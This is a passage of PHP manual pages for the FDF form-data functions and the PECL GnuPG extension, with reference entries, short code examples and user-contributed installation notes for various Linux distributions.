$fdffp = fopen("test.fdf", "w");
fwrite($fdffp, $HTTP_FDF_DATA, strlen($HTTP_FDF_DATA));
fclose($fdffp);

// Open temp file and evaluate data
$fdf = fdf_open("test.fdf");
/* ... */
fdf_close($fdf);
?>

See Also

  • fdf_open_string() - Read a FDF document from a string
  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save() - Save a FDF document

User Contributed Notes

There are no user contributed notes for this page.


Sets target frame for form

  • « fdf_open
  • fdf_save_string »
  • PHP Manual
  • FDF Functions
  • Sets target frame for form

fdf_remove_item

(PHP 4 >= 4.3.0, PHP 5)

fdf_remove_item — Sets target frame for form

Description

bool fdf_remove_item ( resource $fdf_document , string $fieldname , int $item )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Returns the FDF document as a string

  • « fdf_remove_item
  • fdf_save »
  • PHP Manual
  • FDF Functions
  • Returns the FDF document as a string

fdf_save_string

(PHP 4 >= 4.3.0, PHP 5)

fdf_save_string — Returns the FDF document as a string

Description

string fdf_save_string ( resource $fdf_document )

Returns the FDF document as a string.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

Return Values

Returns the document as a string, or FALSE on error.

Examples

Example #1 Retrieving FDF as a string

<?php
$fdf = fdf_create();
fdf_set_value($fdf, "foo", "bar");
$str = fdf_save_string($fdf);
fdf_close($fdf);
echo $str;
?>

The above example will output:

%FDF-1.2
%âãÏÓ
1 0 obj
<<
/FDF << /Fields 2 0 R >>
>>
endobj
2 0 obj
[
<< /T (foo)/V (bar)>>
]
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

See Also

  • fdf_open_string() - Read a FDF document from a string
  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save() - Save a FDF document

User Contributed Notes

There are no user contributed notes for this page.


Save a FDF document

  • « fdf_save_string
  • fdf_set_ap »
  • PHP Manual
  • FDF Functions
  • Save a FDF document

fdf_save

(PHP 4, PHP 5)

fdf_save — Save a FDF document

Description

bool fdf_save ( resource $fdf_document [, string $filename ] )

Saves a FDF document.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

filename

If provided, the resulting FDF will be written in this parameter. Otherwise, this function will write the FDF to the default PHP output stream.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save_string() - Returns the FDF document as a string

User Contributed Notes

karsten at k-fish dot de 11-Apr-2003 07:18
The doc says that an empty file name will cause PHP to output the FDF to 'stdout'. I had no success on this (with PHP 4.2.3 and fdftk v5): no string, an empty string and null all returned a message complaining about 'wrong parameter count'.

So I used the way (saving to a file and using passthru) given as an example on the page describing fdf_create(), and added a uniqid(rand(),1) to the filename to avoid clashes. This worked well.


Set the appearance of a field

  • « fdf_save
  • fdf_set_encoding »
  • PHP Manual
  • FDF Functions
  • Set the appearance of a field

fdf_set_ap

(PHP 4, PHP 5)

fdf_set_ap — Set the appearance of a field

Description

bool fdf_set_ap ( resource $fdf_document , string $field_name , int $face , string $filename , int $page_number )

Sets the appearance of a field (i.e. the value of the /AP key).

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

field_name

face

The possible values FDFNormalAP, FDFRolloverAP and FDFDownAP.

filename

page_number

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Sets FDF character encoding

  • « fdf_set_ap
  • fdf_set_file »
  • PHP Manual
  • FDF Functions
  • Sets FDF character encoding

fdf_set_encoding

(PHP 4 >= 4.0.7, PHP 5)

fdf_set_encoding — Sets FDF character encoding

Description

bool fdf_set_encoding ( resource $fdf_document , string $encoding )

Sets the character encoding for the FDF document.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

encoding

The encoding name. The following values are supported: "Shift-JIS", "UHC", "GBK" and "BigFive".

An empty string resets the encoding to the default PDFDocEncoding/Unicode scheme.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set PDF document to display FDF data in

  • « fdf_set_encoding
  • fdf_set_flags »
  • PHP Manual
  • FDF Functions
  • Set PDF document to display FDF data in

fdf_set_file

(PHP 4, PHP 5)

fdf_set_file — Set PDF document to display FDF data in

Description

bool fdf_set_file ( resource $fdf_document , string $url [, string $target_frame ] )

Selects a different PDF document to display the form results in then the form it originated from.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

url

Should be given as an absolute URL.

target_frame

Use this parameter to specify the frame in which the document will be displayed. You can also set the default value for this parameter using fdf_set_target_frame().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Passing FDF data to a second form

<?php
  /* set content type for Adobe FDF */
  fdf_header();

  /* start new fdf */
  $fdf = fdf_create();

  /* set field "foo" to value "bar" */
  fdf_set_value($fdf, "foo", "bar");

  /* tell client to display FDF data using "fdf_form.pdf" */
  fdf_set_file($fdf, "http://www.example.com/fdf_form.pdf");

  /* output fdf */
  fdf_save($fdf);

  /* clean up */
  fdf_close($fdf);
?>

See Also

  • fdf_get_file() - Get the value of the /F key
  • fdf_set_target_frame() - Set target frame for form display

User Contributed Notes

There are no user contributed notes for this page.


Sets a flag of a field

  • « fdf_set_file
  • fdf_set_javascript_action »
  • PHP Manual
  • FDF Functions
  • Sets a flag of a field

fdf_set_flags

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_flags — Sets a flag of a field

Description

bool fdf_set_flags ( resource $fdf_document , string $fieldname , int $whichFlags , int $newFlags )

Sets certain flags of the given field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

whichFlags

newFlags

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_set_opt() - Sets an option of a field

User Contributed Notes

There are no user contributed notes for this page.


Sets an javascript action of a field

  • « fdf_set_flags
  • fdf_set_on_import_javascript »
  • PHP Manual
  • FDF Functions
  • Sets an javascript action of a field

fdf_set_javascript_action

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_javascript_action — Sets an javascript action of a field

Description

bool fdf_set_javascript_action ( resource $fdf_document , string $fieldname , int $trigger , string $script )

Sets a javascript action for the given field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

trigger

script

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_set_submit_form_action() - Sets a submit form action of a field

User Contributed Notes

There are no user contributed notes for this page.


Adds javascript code to be executed when Acrobat opens the FDF

  • « fdf_set_javascript_action
  • fdf_set_opt »
  • PHP Manual
  • FDF Functions
  • Adds javascript code to be executed when Acrobat opens the FDF

fdf_set_on_import_javascript

(PHP 4 >= 4.3.0, PHP 5)

fdf_set_on_import_javascript — Adds javascript code to be executed when Acrobat opens the FDF

Description

bool fdf_set_on_import_javascript ( resource $fdf_document , string $script , bool $before_data_import )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • fdf_add_doc_javascript() - Adds javascript code to the FDF document
  • fdf_set_javascript_action() - Sets an javascript action of a field

User Contributed Notes

Jake Marble 17-Jul-2007 07:20
This example would cause a browser to open 'a.pdf' and pop up an alert window AFTER setting a field value:

<?php
header('Content-type: application/vnd.fdf');

$fdf = fdf_create();

fdf_set_file($fdf, 'http://www.example.com/path/to/a.pdf');
fdf_set_value($fdf, 'field1', 'my value');
fdf_set_on_import_javascript($fdf, 'app.alert("executing javascript");', false);

fdf_save($fdf);
fdf_close($fdf);
?>

Or, to execute the javascript BEFORE setting the field value, just change false to true:

<?php
header('Content-type: application/vnd.fdf');

$fdf = fdf_create();

fdf_set_file($fdf, 'http://www.example.com/path/to/a.pdf');
fdf_set_value($fdf, 'field1', 'my value');
fdf_set_on_import_javascript($fdf, 'app.alert("executing javascript");', true);

fdf_save($fdf);
fdf_close($fdf);
?>


Sets an option of a field

  • « fdf_set_on_import_javascript
  • fdf_set_status »
  • PHP Manual
  • FDF Functions
  • Sets an option of a field

fdf_set_opt

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_opt — Sets an option of a field

Description

bool fdf_set_opt ( resource $fdf_document , string $fieldname , int $element , string $str1 , string $str2 )

Sets options of the given field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

element

str1

str2

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_set_flags() - Sets a flag of a field

User Contributed Notes

ceo at l-i-e dot com 29-Jul-2003 02:01
For a nice example of how this works to populate a list box dynamically, see this URL:

http://www.fooassociates.com/phpfer/html/rn20re282.html


Set the value of the /STATUS key

  • « fdf_set_opt
  • fdf_set_submit_form_action »
  • PHP Manual
  • FDF Functions
  • Set the value of the /STATUS key

fdf_set_status

(PHP 4, PHP 5)

fdf_set_status — Set the value of the /STATUS key

Description

bool fdf_set_status ( resource $fdf_document , string $status )

Sets the value of the /STATUS key. When a client receives a FDF with a status set it will present the value in an alert box.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

status

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_get_status() - Get the value of the /STATUS key

User Contributed Notes

There are no user contributed notes for this page.


Sets a submit form action of a field

  • « fdf_set_status
  • fdf_set_target_frame »
  • PHP Manual
  • FDF Functions
  • Sets a submit form action of a field

fdf_set_submit_form_action

(PHP 4 >= 4.0.2, PHP 5)

fdf_set_submit_form_action — Sets a submit form action of a field

Description

bool fdf_set_submit_form_action ( resource $fdf_document , string $fieldname , int $trigger , string $script , int $flags )

Sets a submit form action for the given field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

trigger

script

flags

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_set_javascript_action() - Sets an javascript action of a field

User Contributed Notes

There are no user contributed notes for this page.


Set target frame for form display

  • « fdf_set_submit_form_action
  • fdf_set_value »
  • PHP Manual
  • FDF Functions
  • Set target frame for form display

fdf_set_target_frame

(PHP 4 >= 4.3.0, PHP 5)

fdf_set_target_frame — Set target frame for form display

Description

bool fdf_set_target_frame ( resource $fdf_document , string $frame_name )

Sets the target frame to display a result PDF defined with fdf_save_file() in.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

frame_name

The frame name, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_save_file()

User Contributed Notes

There are no user contributed notes for this page.


Set the value of a field

  • « fdf_set_target_frame
  • fdf_set_version »
  • PHP Manual
  • FDF Functions
  • Set the value of a field

fdf_set_value

(PHP 4, PHP 5)

fdf_set_value — Set the value of a field

Description

bool fdf_set_value ( resource $fdf_document , string $fieldname , mixed $value [, int $isName ] )

Sets the value for the given field.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

value

This parameter will be stored as a string unless it is an array. In this case all array elements will be stored as a value array.

isName

Note:

In older versions of the FDF toolkit last parameter determined if the field value was to be converted to a PDF Name (= 1) or set to a PDF String (= 0).

The value is no longer used in the current toolkit version 5.0. For compatibility reasons it is still supported as an optional parameter beginning with PHP 4.3, but ignored internally.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.3.0 | Support for arrays in the value parameter was added.

See Also

  • fdf_get_value() - Get the value of a field
  • fdf_remove_item() - Sets target frame for form

User Contributed Notes

There are no user contributed notes for this page.


Sets version number for a FDF file

  • « fdf_set_value
  • GnuPG »
  • PHP Manual
  • FDF Functions
  • Sets version number for a FDF file

fdf_set_version

(PHP 4 >= 4.3.0, PHP 5)

fdf_set_version — Sets version number for a FDF file

Description

bool fdf_set_version ( resource $fdf_document , string $version )

Sets the FDF version for the given document.

Some features supported by this extension are only available in newer FDF versions.

Parameters

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

version

The version number. For the current FDF toolkit 5.0, this may be either 1.2, 1.3 or 1.4.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fdf_get_version() - Gets version number for FDF API or file

User Contributed Notes

There are no user contributed notes for this page.


GNU Privacy Guard

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Clearsign text
  • GnuPG Functions
    • gnupg_adddecryptkey — Add a key for decryption
    • gnupg_addencryptkey — Add a key for encryption
    • gnupg_addsignkey — Add a key for signing
    • gnupg_cleardecryptkeys — Removes all keys which were set for decryption before
    • gnupg_clearencryptkeys — Removes all keys which were set for encryption before
    • gnupg_clearsignkeys — Removes all keys which were set for signing before
    • gnupg_decrypt — Decrypts a given text
    • gnupg_decryptverify — Decrypts and verifies a given text
    • gnupg_encrypt — Encrypts a given text
    • gnupg_encryptsign — Encrypts and signs a given text
    • gnupg_export — Exports a key
    • gnupg_geterror — Returns the errortext, if a function fails
    • gnupg_getprotocol — Returns the currently active protocol for all operations
    • gnupg_import — Imports a key
    • gnupg_init — Initialize a connection
    • gnupg_keyinfo — Returns an array with information about all keys that matches the given pattern
    • gnupg_setarmor — Toggle armored output
    • gnupg_seterrormode — Sets the mode for error_reporting
    • gnupg_setsignmode — Sets the mode for signing
    • gnupg_sign — Signs a given text
    • gnupg_verify — Verifies a signed text

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This module allows you to interact with » gnupg.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The gnupg extension requires PHP 4.3. To use this extension in an OO style, PHP 5 is required.

This extension requires the » gpgme library

User Contributed Notes

bill dot rex at charter dot net 05-Aug-2013 12:58
gnupg-1.3.3 is now out which does correctly build again PHP 5.4.x and 5.5.x
jimjag at gmail dot com 29-Jun-2013 06:13
gnupg-1.3.2 (the latest) does not build under PHP 5.4.x or PHP 5.5.x... there are numerous suggested patches but nothing official.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/gnupg.

User Contributed Notes

Mahbub Kabir 08-Apr-2014 08:32
I tried followings on Debian Squeeze and it worked fine

apt-get install libgpgme11-dev
pecl install gnupg

create a new file under conf.d folder and add following lines

; configuration for gnupg module
extension=gnupg.so

Reload apache configuration
/etc/init.d/apache2 reload

Check PHP Info and you should see gnupg

Hope this helps.
cam dot metzke at gmail dot com 01-Nov-2013 05:14
For the folks in Debian Wheezy who are having a bit of trouble
heres a link to to a .deb file ( I use it ) for amd64 users

http://users.on.net/~cam.metzke/Debian%20Packages/Wheezy/gnupg/PECL-gnupg/

Anyway I built it for the community, hope it helps :)
Jane Doe 23-Apr-2013 09:03
Hi -

By default on Ubuntu 12.04 LTS gnupg needs to write to .gnupg in the home directory of the user running PHP (so for a web site this is www-data). You might need to make a ~/.gnupg for www-data and chown/chmod it correctly or everything will fail.
Dominik Sommer 14-Nov-2012 02:04
For Ubuntu 12.04, these are the steps:
1. Install packages: gnupg libgpg-error-dev libassuan-dev
2. Download GPGME library from ​http://www.gnupg.org/download/index.en.html#gpgme
3. Extract, then run
   configure
   make && sudo make install
4. Install PECL extension
   sudo pecl install gnupg
5. Add to php.ini
   extension=gnupg.so
frozenfire at php dot net 21-Feb-2012 11:36
Here are instructions for how to resolve the issue where you encounter this error:

/usr/include/gpgme.h:80:2: error: #error GPGME was compiled with _FILE_OFFSET_BITS = 64, please see the section "Largefile support (LFS)" in the GPGME manual.

This is a result of the gnupg extension currently lacking largefile support. The solution is fairly simple.

pecl download gnupg
tar -zxf gnupg-1.3.2.tgz
cd gnupg-1.3.2

Open the file config.m4 in an editor, and add "AC_SYS_LARGEFILE" to a new line at the very end of the file, then save.

phpize
./configure
make
make install

Now simply add extension=gnupg.so to your php.ini, and the extension should work.
Heath 08-Oct-2010 04:38
On Debian 5.05 (Lenny) I needed to install libgpgme11-dev
mk at wintermute dot at 04-Feb-2009 12:49
Quick installation guide on Fedora 10:

Needed:
- c++ compiler
- php-pear
- gnupg
- libgpg-error
- gpgme
- gpgme-devel
- php-devel

Install with:
$ pecl install gnupg

Add an entry to /etc/php.ini:
extension=gnupg.so

Restart Apache > you're done.
sma dot azar at gmail dot com 02-Feb-2009 07:10
After spending so much time I could only install it on Linux and not Windows. There is very little instructions on the net about installation of this module, so I am going to write a small instructions that should help a straightforward installation on Linux without so much trouble.

Step 1: you will need a C++ compiler on your machine. For being sure try this command in the terminal:
<?php
sudo apt-get install g++
?>
Obviously you need GnuPG itself, so try:
<?php
sudo apt-get install gnupg
?>
Step 2: you will need "Libgpg-Error" downloaded and installed on your machine.
2-1: Download the code from http://www.gnupg.org/download/#libgpg-error
2-2: Extract it to a directory. In the terminal, change the directory to the Libgpg-error directory.
2-3: Configure the package for building and installation with below command:
<?php
./configure
?>
2-4: In the same directory make it with below command:
<?php
sudo make
?>
2-5: In the same directory install it with below command:
<?php
sudo make install
?>

Step 3: you will need "GnuPG Made Easy" (GPGME) downloaded and installed on your machine. Some sources will tell you that you can "apt-get install" it, but actually you cannot. So do it like the latter:
3-1: Download the source code from http://www.gnupg.org/download/#gpgme
3-2: Extract it to a directory. In the terminal, change the directory to the GPGME directory.
3-3: Configure the package for building and installation with below command:
<?php
./configure
?>
3-4: In the same directory make it with below command:
<?php
sudo make
?>
3-5: In the same directory install it with below command:
<?php
sudo make install
?>

Step 4: Given that you have a LAMP server already and have php installed, you will need "pear" and "php source codes". To add them use below commands:
<?php
sudo apt-get install php5-dev
sudo apt-get install php-pear
?>

Step 5: Now you can install GNU Privacy Guard for php using PECL command:
<?php
 sudo pecl install gnupg
?>


Predefined Constants

GNUPG_SIG_MODE_NORMAL (integer)
GNUPG_SIG_MODE_DETACH (integer)
GNUPG_SIG_MODE_CLEAR (integer)
GNUPG_VALIDITY_UNKNOWN (integer)
GNUPG_VALIDITY_UNDEFINED (integer)
GNUPG_VALIDITY_NEVER (integer)
GNUPG_VALIDITY_MARGINAL (integer)
GNUPG_VALIDITY_FULL (integer)
GNUPG_VALIDITY_ULTIMATE (integer)
GNUPG_PROTOCOL_OpenPGP (integer)
GNUPG_PROTOCOL_CMS (integer)
GNUPG_SIGSUM_VALID (integer)
GNUPG_SIGSUM_GREEN (integer)
GNUPG_SIGSUM_RED (integer)
GNUPG_SIGSUM_KEY_REVOKED (integer)
GNUPG_SIGSUM_KEY_EXPIRED (integer)
GNUPG_SIGSUM_KEY_MISSING (integer)
GNUPG_SIGSUM_SIG_EXPIRED (integer)
GNUPG_SIGSUM_CRL_MISSING (integer)
GNUPG_SIGSUM_CRL_TOO_OLD (integer)
GNUPG_SIGSUM_BAD_POLICY (integer)
GNUPG_SIGSUM_SYS_ERROR (integer)
GNUPG_ERROR_WARNING (integer)
GNUPG_ERROR_EXCEPTION (integer)
GNUPG_ERROR_SILENT (integer)

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Clearsign text

User Contributed Notes

There are no user contributed notes for this page.


Clearsign text

This example will clearsign a given text.

Example #1 gnupg clearsign example (procedural)

<?php
// init gnupg
$res = gnupg_init();
// not really needed. Clearsign is default
gnupg_setsignmode($res,GNUPG_SIG_MODE_CLEAR);
// add key with passphrase 'test' for signing
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
// sign
$signed = gnupg_sign($res,"just a test");
echo $signed;
?>

Example #2 gnupg clearsign example (OO)

<?php
// new class
$gnupg = new gnupg();
// not really needed. Clearsign is default
$gnupg->setsignmode(gnupg::SIG_MODE_CLEAR);
// add key with passphrase 'test' for signing
$gnupg->addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
// sign
$signed = $gnupg->sign("just a test");
echo $signed;
?>

Example #3 keylistiterator

This extension also comes with an Iterator for your keyring.

<?php
// create a new iterator for listing all public keys that matches 'example'
$iterator = new gnupg_keylistiterator("example");
foreach($iterator as $fingerprint => $userid){
    echo $fingerprint." -> ".$userid."\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


GnuPG Functions

Notes

This extension makes use of the keyring of the current user. This keyring is normally located in ~./.gnupg/. To specify a custom location, store the path to the keyring in the environment variable GNUPGHOME. See putenv for more information how to do this.

Some functions require the specification of a key. This specification can be anything that refers to a unique key (userid, key-id, fingerprint, ...). This documentation uses the fingerprint in all examples.

Table of Contents

  • gnupg_adddecryptkey — Add a key for decryption
  • gnupg_addencryptkey — Add a key for encryption
  • gnupg_addsignkey — Add a key for signing
  • gnupg_cleardecryptkeys — Removes all keys which were set for decryption before
  • gnupg_clearencryptkeys — Removes all keys which were set for encryption before
  • gnupg_clearsignkeys — Removes all keys which were set for signing before
  • gnupg_decrypt — Decrypts a given text
  • gnupg_decryptverify — Decrypts and verifies a given text
  • gnupg_encrypt — Encrypts a given text
  • gnupg_encryptsign — Encrypts and signs a given text
  • gnupg_export — Exports a key
  • gnupg_geterror — Returns the errortext, if a function fails
  • gnupg_getprotocol — Returns the currently active protocol for all operations
  • gnupg_import — Imports a key
  • gnupg_init — Initialize a connection
  • gnupg_keyinfo — Returns an array with information about all keys that matches the given pattern
  • gnupg_setarmor — Toggle armored output
  • gnupg_seterrormode — Sets the mode for error_reporting
  • gnupg_setsignmode — Sets the mode for signing
  • gnupg_sign — Signs a given text
  • gnupg_verify — Verifies a signed text

User Contributed Notes

web at rlauzier dot com 29-Aug-2013 12:48
The function for listing all key signatures is also missing from the list...

gnupg_listsignatures

Examples:

$gpg = new gnupg();
$result = $gpg->listsignatures($fingerprint);

$gpg = gnupg_init();
$result = gnupg_listsignatures($gpg, $fingerprint);
phplist2REMOVE AT REMtincanOVE.co.uk 08-Nov-2006 06:20
There's a function/method missing in the list.

gnupg_deletekey

(no version information, might be only in CVS)

gnupg_deletekey -- Delete a key

Description

bool gnupg_deletekey ( resource identifier, string key, [bool allowsecret]  )

Deletes the key from the keyring. If allowsecret is not set or FALSE it will fail on deleting secret keys.

Return Values

On success, this function returns TRUE. On failure, this function returns FALSE.

Examples

Example 1. Procedural gnupg_deletekey() example

<?php
$res = gnupg_init();
gnupg_deletekey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
?>

Example 2. OO gnupg_deletekey() example
<?php
$gpg = new gnupg();
$gpg -> deletekey("8660281B6051D071D94B5B230549F9DC851566DC");
?>


Add a key for decryption

  • « GnuPG Functions
  • gnupg_addencryptkey »
  • PHP Manual
  • GnuPG Functions
  • Add a key for decryption

gnupg_adddecryptkey

(PECL gnupg >= 0.5)

gnupg_adddecryptkey — Add a key for decryption

Description

bool gnupg_adddecryptkey ( resource $identifier , string $fingerprint , string $passphrase )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

fingerprint

The fingerprint key.

passphrase

The pass phrase.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_adddecryptkey() example

<?php
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

Example #2 OO gnupg_adddecryptkey() example

<?php
$gpg = new gnupg();
$gpg -> adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

User Contributed Notes

pavennt at gmail dot com 22-Jul-2013 11:57
I am installed
For Ubuntu 12.04, these are the steps:
1. Install packages: gnupg libgpg-error-dev libassuan-dev
2. Download GPGME library from ​http://www.gnupg.org/download/index.en.html#gpgme
3. Extract, then run
   configure
   make && sudo make install
4. Install PECL extension
   sudo pecl install gnupg
5. Add to php.ini
   extension=gnupg.so

---

I create new example.php
$gpg = new gnupg();
$test =  $gpg->adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
var_dump($test);

Run returns "bool(false)"

Please help me .


Add a key for encryption

  • « gnupg_adddecryptkey
  • gnupg_addsignkey »
  • PHP Manual
  • GnuPG Functions
  • Add a key for encryption

gnupg_addencryptkey

(PECL gnupg >= 0.5)

gnupg_addencryptkey — Add a key for encryption

Description

bool gnupg_addencryptkey ( resource $identifier , string $fingerprint )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

fingerprint

The fingerprint key.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_addencryptkey() example

<?php
$res = gnupg_init();
gnupg_addencryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC");
?>

Example #2 OO gnupg_addencryptkey() example

<?php
$gpg = new gnupg();
$gpg -> addencryptkey("8660281B6051D071D94B5B230549F9DC851566DC");
?>

User Contributed Notes

su at aboynamedsu dot net 14-Aug-2013 07:48
When you've successfully installed gnupg, you should define the GNUPGHOME environment variable and make sure the directory is writeable by the Apache user.

<?php
    putenv("GNUPGHOME=/var/www/example.com/.gnupg");
?>
php at cdauth dot de 02-Dec-2007 03:39
In this case, $fingerprint is the fingerprint of the public key whose private key shall be able to decrypt the text. The private key that you want to encrypt the text with has to be loaded via gnupg_addsignkey().


Add a key for signing

  • « gnupg_addencryptkey
  • gnupg_cleardecryptkeys »
  • PHP Manual
  • GnuPG Functions
  • Add a key for signing

gnupg_addsignkey

(PECL gnupg >= 0.5)

gnupg_addsignkey — Add a key for signing

Description

bool gnupg_addsignkey ( resource $identifier , string $fingerprint [, string $passphrase ] )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

fingerprint

The fingerprint key.

passphrase

The pass phrase.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_addsignkey() example

<?php
$res = gnupg_init();
gnupg_addsignkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

Example #2 OO gnupg_addsignkey() example

<?php
$gpg = new gnupg();
$gpg -> addsignkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
?>

User Contributed Notes

php at cdauth dot de 13-May-2008 08:39
As of gnupg version 2, it is not possible to pass a plain password any more. The parameter is simply ignored. Instead, a pinentry application will be launched in case of php running in cli mode. In cgi or apache mode, opening the key will fail.
The simplest solution is to use keys without passwords.


Removes all keys which were set for decryption before

  • « gnupg_addsignkey
  • gnupg_clearencryptkeys »
  • PHP Manual
  • GnuPG Functions
  • Removes all keys which were set for decryption before

gnupg_cleardecryptkeys

(PECL gnupg >= 0.5)

gnupg_cleardecryptkeys — Removes all keys which were set for decryption before

Description

bool gnupg_cleardecryptkeys ( resource $identifier )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_cleardecryptkeys() example

<?php
$res = gnupg_init();
gnupg_cleardecryptkeys($res);
?>

Example #2 OO gnupg_cleardecryptkeys() example

<?php
$gpg = new gnupg();
$gpg -> cleardecryptkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


Removes all keys which were set for encryption before

  • « gnupg_cleardecryptkeys
  • gnupg_clearsignkeys »
  • PHP Manual
  • GnuPG Functions
  • Removes all keys which were set for encryption before

gnupg_clearencryptkeys

(PECL gnupg >= 0.5)

gnupg_clearencryptkeys — Removes all keys which were set for encryption before

Description

bool gnupg_clearencryptkeys ( resource $identifier )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_clearencryptkeys() example

<?php
$res = gnupg_init();
gnupg_clearencryptkeys($res);
?>

Example #2 OO gnupg_clearencryptkeys() example

<?php
$gpg = new gnupg();
$gpg -> clearencryptkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


Removes all keys which were set for signing before

  • « gnupg_clearencryptkeys
  • gnupg_decrypt »
  • PHP Manual
  • GnuPG Functions
  • Removes all keys which were set for signing before

gnupg_clearsignkeys

(PECL gnupg >= 0.5)

gnupg_clearsignkeys — Removes all keys which were set for signing before

Description

bool gnupg_clearsignkeys ( resource $identifier )

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Procedural gnupg_clearsignkeys() example

<?php
$res = gnupg_init();
gnupg_clearsignkeys($res);
?>

Example #2 OO gnupg_clearsignkeys() example

<?php
$gpg = new gnupg();
$gpg -> clearsignkeys();
?>

User Contributed Notes

There are no user contributed notes for this page.


Decrypts a given text

  • « gnupg_clearsignkeys
  • gnupg_decryptverify »
  • PHP Manual
  • GnuPG Functions
  • Decrypts a given text

gnupg_decrypt

(PECL gnupg >= 0.1)

gnupg_decrypt — Decrypts a given text

Description

string gnupg_decrypt ( resource $identifier , string $text )

Decrypts the given text with the keys, which were set with gnupg_adddecryptkey before.

Parameters

identifier

The gnupg identifier, from a call to gnupg_init() or gnupg.

text

The text being decrypted.

Return Values

On success, this function returns the decrypted text. On failure, this function returns FALSE.

Examples

Example #1 Procedural gnupg_decrypt() example

<?php
$res = gnupg_init();
gnupg_adddecryptkey($res,"8660281B6051D071D94B5B230549F9DC851566DC","test");
$plain = gnupg_decrypt($res,$encrypted_text);
echo $plain;
?>

Example #2 OO gnupg_encrypt() example

<?php
$gpg = new gnupg();
$gpg -> adddecryptkey("8660281B6051D071D94B5B230549F9DC851566DC","test");
$plain = $gpg -> decrypt($encrypted_text);
echo $plain;
?>

User Contributed Notes

aidukas at gmail dot com 01-Apr-2014 06:02
If empty text is encrypted, the gnupg_decrypt() function will return a boolean FALSE so if you do a strict comparison (===, !==) to track a failure it will trigger you a failure.
For failures use Exceptions:
<?php
        $gpg = new gnupg();
        $gpg->seterrormode(gnupg::ERROR_EXCEPTION);
        /*
         .......further code.......
       */
        try {
            $string = $gpg->decrypt($stringToDecrypt);
        } catch (Exception $e) {
         // do the Error processing
